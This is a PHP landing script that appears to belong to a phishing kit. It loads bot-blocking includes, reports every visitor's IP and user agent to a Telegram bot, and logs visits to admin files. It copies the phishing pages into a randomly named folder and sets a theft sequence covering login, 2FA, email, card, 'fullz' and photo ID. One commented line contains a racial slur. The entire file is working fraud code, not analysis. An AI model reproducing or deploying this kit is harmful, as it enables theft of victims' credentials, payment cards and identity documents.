<?php 
require_once('config.php');
require_once 'Vuanis/o2ivwuyg.php';
require_once 'Vuanis/pho7zebk.php';
require_once 'Vuanis/rsbvge2q.php';
include('Vuaniss/blockers.php');
include('Vuaniss/detects.php');
include('Vuaniss/Bot-Crawler.php');
include('Vuaniss/Dila_DZ.php');
$setting_crawlerdetect = "off";
if($setting_crawlerdetect == 'on') {
require_once 'Vuanis/crawlerdetect.php';
}


if($notification == 1){
        $ip = getip();
        $_SESSION['ip'] = $ip;
        $message = "<b>\xF0\x9F\x91\x80 New Visitor</b>\n\n";
        $message .= "<b>IP Address:</b> <code>" . $ip . "</code>\n";
        $message .= "<b>User Agent:</b> " . $_SERVER['HTTP_USER_AGENT'] . "\n";
    
        $data = ['text' => $message,'chat_id' => $cID, 'parse_mode' => 'html'];    
    
      $website="https://api.telegram.org/bot$TGBO";
        $ch = curl_init($website . '/sendMessage');
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $result = curl_exec($ch);
        curl_close($ch);
    
  }
date_default_timezone_set('America/New_York');
//if(isset($_SESSION['check'])){logbot('SAD LIFE NIGGA');banbot();exit();};
function getip(){$client  = @$_SERVER['HTTP_CLIENT_IP'];$cf  = @$_SERVER['HTTP_CF_CONNECTING_IP'];$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];$remote  = $_SERVER['REMOTE_ADDR'];if(filter_var($client, FILTER_VALIDATE_IP)){return $client;} elseif(filter_var($cf, FILTER_VALIDATE_IP)){return $cf;} elseif(filter_var($forward, FILTER_VALIDATE_IP)){return $forward;} else{return $remote;};};

function generate3($length) {
    $characters = 'abcdefghijklmnpqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}


$filedir='Admin/db.json';
$ud=file_get_contents($filedir);
$udarray = json_decode($ud,true);
foreach($udarray as $key=>$value){$narr[$key]=$value;};
$ip = getip();
if(!in_array($ip,$narr['visits'])){
array_push($narr['visits'],$ip);
array_push($narr['humans'],$ip);
file_put_contents($filedir,json_encode($narr));};
$d=dirname($_SERVER['PHP_SELF']);
if($d != '\\' && $d != '/'){$isshell=__DIR__;};
$_SESSION['token'] = generate3(5);
if($newfold == 0){
$files = scandir("controller");
$source = "controller/";
$destination = $_SESSION['token']."/";
if (!file_exists($_SESSION['token'])) {
    mkdir($_SESSION['token'], 0777, true);
}
foreach ($files as $file) {
    if (in_array($file, array(".",".."))) continue;
  if (copy($source.$file, $destination.$file))
  continue;
  {

}
}
}

$ud=file_get_contents('Admin/db.json');
$udarray = json_decode($ud,true);
$narr=array();
foreach($udarray as $key=>$value){$narr[$key]=$value;};
if(empty($narr['o'])){$narr['o'] = array('login','2fa','note','email','card','fullz','photo','end');file_put_contents('Admin/db.json',json_encode($narr));};

$dt=date('d M Y H:i:s');
if(isset($_SERVER['HTTP_REFERER'])){$rf = $_SERVER['HTTP_REFERER'];} else{$rf = 'NOT REFERED';};
$ib="<b>--------| VIS!T0R|--------</b>
<b>IP:</b> ".getip().'
<b>USER-AGENT:</b> '.$_SERVER['HTTP_USER_AGENT'].'
<b>HOST ADDR:</b> '.gethostbyaddr(getip()).'
<b>REFERER:</b> '.$rf.'
<b>DATETIME:</b> '.$dt.'

';

$_SESSION['homedir']=__DIR__;
$mile = fopen("Admin/yo.txt","a");
fwrite($mile,$ib);
fclose($mile);

function updateadmin($data){
	$filedir= 'Admin/db.json';
	$ud=file_get_contents($filedir);
	$udarray = json_decode($ud,true);
	$narr=array();
	foreach($udarray as $key=>$value){$narr[$key]=$value;};
	$ip=getcurrip();
	if($data == 'bots'){
		if(in_array($ip,$narr['humans']) && !in_array($ip,$narr[$data])){
			array_push($narr[$data],$ip);
			array_splice($narr['humans'],array_search($ip,$narr['humans']),1);$narr['humans']=array_values($narr['humans']);
		};}
	else{$narr[$data] += 1;};
	file_put_contents($filedir,json_encode($narr));
};
function getadmin($data){
	$ud=file_get_contents('Admin/db.json');
	$udarray = json_decode($ud);
	if(isset($udarray->$data)){
		return $udarray->$data;
			};
};

function getcurrip(){ 
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $cf  = @$_SERVER['HTTP_CF_CONNECTING_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        return $client;}
    elseif(filter_var($cf, FILTER_VALIDATE_IP)){
        return $cf;}
    elseif(filter_var($forward, FILTER_VALIDATE_IP)){
        return $forward;}
    else{
        return $remote;};
	};

updateadmin('clients');
$_SESSION['client']=getadmin('clients');
$_SESSION['check'] = $_SESSION['client'];

// Initialize load.json for Telegram bot
$id = $_SESSION['client'];
$load_file = "Admin/load.json";
$load_data = file_exists($load_file) ? json_decode(file_get_contents($load_file)) : (object)[];
if($id) {
    if(!isset($load_data->{$id})) {
        $load_data->$id = (object)["status" => 4];
    } else {
        $load_data->$id->status = 4;
    }
    file_put_contents($load_file, json_encode($load_data));
}

if($newfold == 0){
header('location:'.$_SESSION['token']."/");
}elseif($newfold == 1){
header('location:controller/');

}

?>
